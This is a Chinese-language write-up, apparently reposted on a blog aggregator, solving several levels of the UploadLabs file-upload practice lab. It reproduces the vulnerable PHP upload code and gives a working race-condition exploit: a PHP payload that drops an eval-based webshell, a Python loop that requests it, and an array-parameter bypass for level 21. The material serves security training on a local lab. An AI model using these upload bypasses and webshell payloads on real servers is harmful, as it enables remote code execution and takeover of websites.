UploadLabs靶场环境

news2024/11/28 19:05:49

目录

UploadLabs靶场环境

第十八题

第十九题

第二十一题


UploadLabs靶场环境

image-20240804170831494

.php

.php. .

第五,十关访问的时候空格必须要使用 %20代替

image-20240802182350515

第七题在linux服务器上的话,文件名如果末尾只存在空格并不会自动删除,还会保留,但是这样访问的时候也访问不了,但windows就直接将空格删了

image-20240802183132692

第十二题 substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); 这段代码的功能是 比如将 shell.php.jpg 中的 jpg提取出来strrpos($_FILES['upload_file']['name'],".") 这个表示文件名中的最右边的 . 的位置。则整个substr的功能就是将文件名中最右边的点的后面的内容拿出来

第十七题,这是个纯粹的坑人题目,因为它需要的图片我可以说是很难找到可以用的图片,对于二次渲染的题目,建议使用gif图片,因为相对简单一点,于是我在网上找了一个二次渲染文件上传漏洞的专用图,直接上传,当然,这只是针对这个靶场而言,接下来我讲一下二次渲染文件上传漏洞的利用方法,请看【文件上传绕过】——二次渲染漏洞_二次渲染绕过-CSDN博客 可以说讲的非常详细了,主要步骤就是这压根,如果发现不行,就多试试恶意代码注入的位置然后多试试更换图片

第十八题

代码审计题目 审计结果为条件竞争文件上传,这样的漏洞在公网上很难利用,一是因为公网访问比本地访问速度慢,而是因为暴力上传文件,非常非常容易被封锁。

第十八题源代码如下:

 $is_upload = false;
 $msg = null;
 ​
 // 如果点击了上传文件
 if(isset($_POST['submit'])){
     // 先定义一堆变量
     $ext_arr = array('jpg','png','gif');
     $file_name = $_FILES['upload_file']['name'];
     $temp_file = $_FILES['upload_file']['tmp_name'];
     $file_ext = substr($file_name,strrpos($file_name,".")+1);
     $upload_file = UPLOAD_PATH . '/' . $file_name;
 ​
     // 先移动文件到指定目录下
     if(move_uploaded_file($temp_file, $upload_file)){
         // 然后再判断文件后缀名是否在白名单中
         if(in_array($file_ext,$ext_arr)){
             // 如果是符合条件的文件后缀名,则对问价重命名
              $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
              rename($upload_file, $img_path);
              $is_upload = true;
         }else{
             // 如果不是正常的文件后缀名,则删除该上传文件
             $msg = "只允许上传.jpg|.png|.gif类型文件!";
             unlink($upload_file);
         }
     }else{
         $msg = '上传出错!';
     }
 }

总的来说这段代码实现的功能是,先上传并移动了文件到对应目录下,再判断文件后缀名是否正确,如果不正确才删除。几乎没有什么逻辑上的漏洞,那么我们能利用的就是,上传到对应目录下之后判断文件后缀名是否正确之间的这个时间差,在这个时间差内访问到我们上传的这个文件,我们就算成功了。

具体操作步骤如下:

  • 创建木马文件 wshell.php ,内容如 <?php file_put_contents("shelltest.php","<?php @eval($_POST['a']); ?>"); ?>

    image-20240804155343293

    echo 是为了确保上一句代码可以执行完,再确定是否成功,都则使用请求状态码会有误差

  • 使用 bp 抓上传文件的包,发送至 intruder 模块

    image-20240804155022226

    image-20240804155123170

    当然,你也可以选择数量,我懒得选就用了无限个,同样的,你还可以设置发送间隔,并发量等,我懒得设,就没管

  • 编写python脚本,用于访问被写的文件

     import  requests
     ​
     if __name__ == '__main__':
         while True:
             data = {"a":"phpinfo()"}
             resp = requests.post(url="http://192.168.230.147/upload-labs/upload/wshell.php",data=data)
             if (resp.text == "ok"):
                 print('nb')
                 break
  • 开始运行程序,并开始上传

    image-20240804161759343

  • 访问成功

    image-20240804161819845

第十九题

一样的道理,依旧是代码审计和条件竞争,这个难度更大,很难利用

第二十题就是大小写绕过,它使用的是黑名单的方式,代码也很简单

第二十一题

这是一个彻彻底底的代码审计题目

 $is_upload = false;
 $msg = null;
 // 如果上传的文件名不是空,就进入if
 if(!empty($_FILES['upload_file'])){
     //检查MIME
     $allow_type = array('image/jpeg','image/png','image/gif');
     if(!in_array($_FILES['upload_file']['type'],$allow_type)){
         // 如果上传的文件的content-type不在白名单中
         $msg = "禁止上传该类型文件!";
     }else{
         //检查文件名
         // 如果上传的save_name是空的,那么文件名就使用上传的文件的文件名,否则,$file就是save_name
         $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
         // 如果$file不是数组,就把他变成数组
         if (!is_array($file)) {
             $file = explode('.', strtolower($file));
         }
         
         $ext = end($file);  // 取$file的最后一个元素
         $allow_suffix = array('jpg','png','gif');  // 设置白名单
         
         if (!in_array($ext, $allow_suffix)) {
             // 判断$file的最后一个元素是否在白名单当中
             $msg = "禁止上传该后缀文件!";
         }else{
             // 否则拼接$file_name为 $file的第一个元素的值.$file[count($file) - 1]
             // 如果$file[0]是shell.php $file[1]不存在 $file[2]是jpg
             // 请问程序,你该如何应对
             $file_name = reset($file) . '.' . $file[count($file) - 1];
             $temp_file = $_FILES['upload_file']['tmp_name'];
             $img_path = UPLOAD_PATH . '/' .$file_name;
             // 移动文件
             if (move_uploaded_file($temp_file, $img_path)) {
                 $msg = "文件上传成功!";
                 $is_upload = true;
             } else {
                 $msg = "文件上传失败!";
             }
         }
     }
 }else{
     $msg = "请选择要上传的文件!";
 }

所以我们直接上传一个数组作为$file

  • 构造木马文件

    image-20240804165320638

  • 抓包

    image-20240804165458340

  • 修改请求数据包

    原请求数据包内容如下:

    三个参数分别对应三个模块

    image-20240804165953184

    其中boundary作为分隔符,在下面的使用中使用 --boundary 作为分隔符

    修改后的请求数据包内容如下:

    image-20240804170350155

    image-20240804170508748

    发送之后发现,文件上传成功,去访问一下

    image-20240804170615795

    over

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2060204.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

合宙Air700ECQ硬件设计手册——应用接口1

Air700ECQ是一款高度集成的LTE Cat1无线通信模组&#xff0c;基于移芯EC716E平台设计&#xff0c;有着极小的封装和极高的性价比。 它支持移动双模FDD-LTE/TDD-LTE 4G远距离无线传输技术&#xff0c;能够广泛应用于共享设备、定位器、DTU数传等多种场景。 此外&#xff0c;Air7…

2024年互联网公司时薪排行榜大曝光!

2024年互联网公司时薪排行榜重磅出炉&#xff01;这一次&#xff0c;行业薪资数据的透明度前所未有&#xff0c;看完这份榜单&#xff0c;你会发现互联网圈子的贫富差距竟然如此悬殊&#xff0c;不禁让人直呼“酸了”&#xff01; 在这个人人都关注收入与回报的时代&#xff0…

算法之工程化内容(3)—— Docker常用命令

目录 1. 配置docker镜像加速 2. 创建镜像docker-name 3. 查看正在运行的镜像 4. 拉取镜像 5. 运行镜像 6. 停止/启动指定 id 的容器 7. 删除指定 id 的镜像/容器 8. docker发布和部署 (推荐教程&#xff1a;&#x1f69a; 发布和部署 - Docker 快速入门) 1. 配置docke…

CentOS上安装和配置Docker与Docker Compose的详细指南

引言 大家好&#xff0c;我是小阳&#xff0c;在这篇文章中&#xff0c;我将带大家一步步完成在CentOS系统上安装和配置Docker与Docker Compose的过程。通过这篇详细的指南&#xff0c;你将能够轻松配置Docker环境&#xff0c;并在日常开发和部署中享受其带来的便利。 原文阅…

一行一行代码带你阅读,xxljob, 若依vue基础项目,若依vue-plus 项目,实战项目的 视频课程

目录 1 介绍2 地址 1 介绍 本人自己录制的一行一行代码解释源码的课程&#xff0c;适合小白&#xff0c;么有阅读过源码&#xff0c;或者不知道咋阅读源码的小伙伴。 本课程 有&#xff0c;视频&#xff0c;笔记&#xff0c;加了注释的源码 2 地址 1 实战课程 本课程 有&am…

拓客工具,助你多维度筛选客源!

随着大数据与人工智能技术的飞速发展&#xff0c;企业拓客的方式也迎来了前所未有的变革。在这里将分享如何利用拓客工具&#xff0c;在任意行业中精实现高效拓客。 一、高级搜索&#xff1a;最新企业&#xff01; 传统的客户开发方式往往依赖于广撒网式的营销手段&#xff0c;…

Linux系统-打包重定向/管道符/进程shell脚本

打包、解包、压缩、解压缩命令 统一使用tar命令&#xff0c;根据不同的参数完成不同的操作 语法&#xff1a;tar 参数 打包后的文件(只能是一个) 需要打包的文件或目录(可以是多个&#xff0c;空格分开即可) 常见的打包压缩格式&#xff1a; 打包后的文件后缀名&#xff1a;…

Linux——网络(1)

一、IPC&#xff08;进程间通信方式&#xff09; IPC&#xff1a;Inter Process Communication 共享内存&#xff08;最高效的进程间通信方式&#xff09; 虚拟地址 mmu(memory management unit ) 共享内存: 1.是一块&#xff0c;内核预留的空间 2.最高效的…

攻击手法罕见!ESET披露最新网络钓鱼活动,专门针对Android、iPhone用户

ESET 研究人员发现了一种罕见的网络钓鱼活动&#xff0c;专门针对 Android 和 iPhone 用户。他们分析了一个在野外观察到的案例&#xff0c;该案例主要是针对一家著名的捷克银行的客户。 值得注意的是这种攻击主要是从第三方网站安装钓鱼应用程序&#xff0c;而无需用户主动安…

东方博宜OJ 训练计划:前缀和、差分 习题集

前缀和、差分 听到这个名字&#xff0c;大家一定感觉不陌生吧&#xff0c;毕竟学过动态规划的人大部分 都知道&#xff0c;那我就简单介绍一下&#xff0c;并奉上习题供大家参考&#xff01; 题目描述我就不放了&#xff0c;根据题号参见 东方博宜OJ 东方博宜OJ 网址&#xf…

【2024国赛速成系列】建模手三天必成计划

内容来自https://www.bilibili.com/video/BV14M4m1y77t 目录 一、第一天 1、常见模型分类 2、两大学习神器 &#xff08;1&#xff09;SPSSPRO &#xff08;2&#xff09;ChatGPT 二、第二天 三、第三天 一、第一天 建模手在最开始需要了解模型分类及国赛常见模型的用法…

专利有哪几种类型?

专利有哪几种类型&#xff1f;

高并发登录模块

1. 配置⼀主⼆从mysql57 1. mycat对mysql8不完全⽀持 2. mysql8主从问题不⼤ get_pub_key1 1. gtids事务复制 2. 删除/etc/my.cnf 3. 同步data⽂件需要先停⽤mysql服务&#xff0c;删除data⽬录中的 auto.cnf 4. gtid模式以及经典模式都需要锁表 flush tables with read …

击破传统跨境电商客服系统痛点:中关村科金如何帮助品牌实现跨境电商业务开拓?

有家总部位于中国、销售市场主要集中在北美的知名眼镜品牌&#xff0c;主要从事时尚眼镜的设计、生产和销售&#xff0c;近年跨境电商业务规模不断扩展&#xff0c;现有的客服体系却“落伍”了&#xff0c;难以适应当前阶段公司的发展要求。 因此希望与中关村科金合作&#xf…

【Harmony OS 4.0】生命周期

1. 自定义组件生命周期 自定义组件&#xff1a;Component 装饰的UI单元&#xff0c;可以组合多个系统组件实现UI的复用。 组件生命周期&#xff0c;即一般用Component装饰的自定义组件的生命周期&#xff0c;提供以下生命周期接口&#xff1a; 2.1 aboutToAppear&#xff1a;组…

8个我平时每天都会看的网站,涵盖办公、娱乐、学习等

分享8个我平时每天都会看的网站&#xff0c;涵盖办公、娱乐、学习等多种类别&#xff0c;试过就知道有多好用&#xff01; 1、MyFreeMP3 tools.liumingye.cn/music/#/ 一个可以免费听歌的平台&#xff0c;不用充会员&#xff0c;里面收录了大多数的国内外知名流行歌手、乐队的…

【C++初阶】一篇手撕vector类

vector类 一&#xff0c;vector的介绍二&#xff0c;vector的使用2.1 vector的定义2.2 vector iterator2.3 vector空间增长问题2.4 vector增删查改2.5 vector<char> 可以替代 string 嘛&#xff1f; 一&#xff0c;vector的介绍 vector 是表示可变大小数组序列容器。就像…

[数据集][目标检测]手钳检测数据集VOC+YOLO格式141张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;141 标注数量(xml文件个数)&#xff1a;141 标注数量(txt文件个数)&#xff1a;141 标注类别…

加载dvb文件出错解决方案

1、在c: \Windows\System32文件夹下&#xff0c;放入fm2.0.dll&#xff08;此文件已资源绑定在本文章&#xff09;文件 2、若还是不行&#xff0c;可尝试&#xff1a; 3、或重装CAD vba vba下载官网地址&#xff1a;下载适用于 Inventor 的 Microsoft VBA 模块 https://www…

Spring AI集成Ollama+llava:7b:实战探索大模型的多模态应用

前面的文章介绍的基本上都是单一数据格式的输入处理&#xff0c;比如输入文本输出文本的Chat模型、输入文本输出图片的图片模型、输入文本输出音频的模型等。本篇文章将介绍如何实现同时处理多种类型的数据格式&#xff1f; 什么是多模态 多模态是指模型同时理解和处理来自各种…